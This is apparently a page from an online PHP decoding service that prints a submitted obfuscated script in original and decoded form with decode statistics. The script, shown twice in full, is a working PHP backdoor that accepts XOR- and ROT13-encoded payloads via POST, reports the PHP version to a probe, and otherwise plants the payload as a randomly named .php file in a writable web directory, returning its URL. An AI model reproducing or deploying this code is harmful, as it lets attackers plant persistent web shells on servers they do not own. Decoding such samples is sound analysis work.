Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $uurjcnfeaa = "onhanehicmmupgec";$mymek = "";foreach ($_POST as $jaohmhicp => $finun..

Decoded Output download

<?php $uurjcnfeaa = "onhanehicmmupgec";$mymek = "";foreach ($_POST as $jaohmhicp => $finunkw){if (strlen($jaohmhicp) == 16 and substr_count($finunkw, "%") > 10){rdrxbqr($jaohmhicp, $finunkw);}}function rdrxbqr($jaohmhicp, $ligelkkau){global $mymek;$mymek = $jaohmhicp;$ligelkkau = str_split(rawurldecode(str_rot13($ligelkkau)));function hwfrjz($xhjuexp, $jaohmhicp){global $uurjcnfeaa, $mymek;return $xhjuexp ^ $uurjcnfeaa[$jaohmhicp % strlen($uurjcnfeaa)] ^ $mymek[$jaohmhicp % strlen($mymek)];}$ligelkkau = implode("", array_map("hwfrjz", array_values($ligelkkau), array_keys($ligelkkau)));$ligelkkau = @unserialize($ligelkkau);if (@is_array($ligelkkau)){$jaohmhicp = array_keys($ligelkkau);$ligelkkau = $ligelkkau[$jaohmhicp[0]];if ($ligelkkau === $jaohmhicp[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function uuaga($eojyxpvrir) {static $fdgqsrrxuf = array();$xoorhg = glob($eojyxpvrir . '/*', GLOB_ONLYDIR);if (count($xoorhg) > 0) {foreach ($xoorhg as $eojyxpvr){if (@is_writable($eojyxpvr)){$fdgqsrrxuf[] = $eojyxpvr;}}}foreach ($xoorhg as $eojyxpvrir) uuaga($eojyxpvrir);return $fdgqsrrxuf;}$xnmyb = $_SERVER["DOCUMENT_ROOT"];$xoorhg = uuaga($xnmyb);$jaohmhicp = array_rand($xoorhg);$rtwexobsp = $xoorhg[$jaohmhicp] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($rtwexobsp, $ligelkkau);echo "http://" . $_SERVER["HTTP_HOST"] . substr($rtwexobsp, strlen($xnmyb));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $uurjcnfeaa = "onhanehicmmupgec";$mymek = "";foreach ($_POST as $jaohmhicp => $finunkw){if (strlen($jaohmhicp) == 16 and substr_count($finunkw, "%") > 10){rdrxbqr($jaohmhicp, $finunkw);}}function rdrxbqr($jaohmhicp, $ligelkkau){global $mymek;$mymek = $jaohmhicp;$ligelkkau = str_split(rawurldecode(str_rot13($ligelkkau)));function hwfrjz($xhjuexp, $jaohmhicp){global $uurjcnfeaa, $mymek;return $xhjuexp ^ $uurjcnfeaa[$jaohmhicp % strlen($uurjcnfeaa)] ^ $mymek[$jaohmhicp % strlen($mymek)];}$ligelkkau = implode("", array_map("hwfrjz", array_values($ligelkkau), array_keys($ligelkkau)));$ligelkkau = @unserialize($ligelkkau);if (@is_array($ligelkkau)){$jaohmhicp = array_keys($ligelkkau);$ligelkkau = $ligelkkau[$jaohmhicp[0]];if ($ligelkkau === $jaohmhicp[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function uuaga($eojyxpvrir) {static $fdgqsrrxuf = array();$xoorhg = glob($eojyxpvrir . '/*', GLOB_ONLYDIR);if (count($xoorhg) > 0) {foreach ($xoorhg as $eojyxpvr){if (@is_writable($eojyxpvr)){$fdgqsrrxuf[] = $eojyxpvr;}}}foreach ($xoorhg as $eojyxpvrir) uuaga($eojyxpvrir);return $fdgqsrrxuf;}$xnmyb = $_SERVER["DOCUMENT_ROOT"];$xoorhg = uuaga($xnmyb);$jaohmhicp = array_rand($xoorhg);$rtwexobsp = $xoorhg[$jaohmhicp] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($rtwexobsp, $ligelkkau);echo "http://" . $_SERVER["HTTP_HOST"] . substr($rtwexobsp, strlen($xnmyb));exit();}}}

Function Calls

None

Variables

$mymek
$uurjcnfeaa onhanehicmmupgec

Stats

MD5 fe2b429695ff78cc8be6a6ba1f0ef898
Eval Count 0
Decode Time 93 ms